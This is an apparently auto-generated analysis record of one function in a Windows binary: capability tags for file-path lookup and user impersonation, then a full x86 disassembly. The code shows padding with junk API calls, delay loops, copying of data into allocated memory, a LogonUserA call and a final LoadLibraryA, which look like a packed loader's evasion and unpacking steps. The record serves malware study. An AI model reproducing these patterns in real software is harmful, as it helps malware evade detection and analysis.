Function at 0x403c01
Capabilities:
Get common file path
Impersonate user

Disassembly:
mov eax, 0x430024
call fcn.0042ff30
mov eax, 0x1850
call fcn.004109f0
push ebx
push esi
xor esi, esi
cmp dword [0x4e3cc8], 0x5b1
push edi
jne 0x403cc6
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push esi
push dword [ebp - 0x14]
lea eax, [ebp - 0x105c]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [ebp - 0x5c]
call fcn.00403f93
mov dword [ebp - 4], esi
call fcn.00404b3c
push 0x403090
lea ecx, [ebp - 0x20]
call fcn.00403670
lea ecx, [ebp - 0x20]
call fcn.0040368c
lea ecx, [ebp - 0x20]
call fcn.004036d2
lea ecx, [ebp - 0x20]
call fcn.004036eb
push esi
push esi
call fcn.004051aa
push esi
call fcn.0040517b
add esp, 0xc
push esi
call fcn.00405164
pop ecx
push esi
call fcn.0040555e
mov dword [esp], esi
call fcn.00403847
fstp st(0)
push esi
call fcn.0040580e
add dword [0x4e3cc8], 0x1134b
push dword [0x4e3cc8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4e2c18], eax
call fcn.00403b4c
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403d0f
inc edi
cmp edi, 0x4f6a4
jl 0x403cef
xor edi, edi
cmp dword [0x4e3cc8], esi
jbe 0x403d55
cmp dword [0x4e3cc8], 0xa8
mov eax, dword [0x4e3ccc]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4e2c18]
mov byte [ecx + edi], al
jne 0x403d4c
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
inc edi
cmp edi, dword [0x4e3cc8]
jb 0x403d19
xor edi, edi
mov eax, dword [0x4e3cc8]
add eax, edi
cmp eax, 0xe
jne 0x403da3
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [ebp - 0xc5c]
push eax
push esi
push 0x4030a0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x4030b8
push 0x403120
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x185c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403d57
call fcn.00403a3e
xor edi, edi
call ebx
cmp edi, 0x26
jne 0x403dbf
call fcn.00403b32
inc edi
cmp edi, 0x6753f
jl 0x403db3
push 0x7b
pop edi
cmp dword [0x4e3cc8], 0x86
jne 0x403e12
push 0x4030fc
push 0x4031ac
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push esi
push esi
call sub.KERNEL32.dll_Process32FirstW
push esi
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [ebp - 0x85c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x4e3cc8], 0xf
jne 0x403e3b
push esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push 0x4031e8
push 0x403230
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
dec edi
jne 0x403dcb
push 0x4031dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret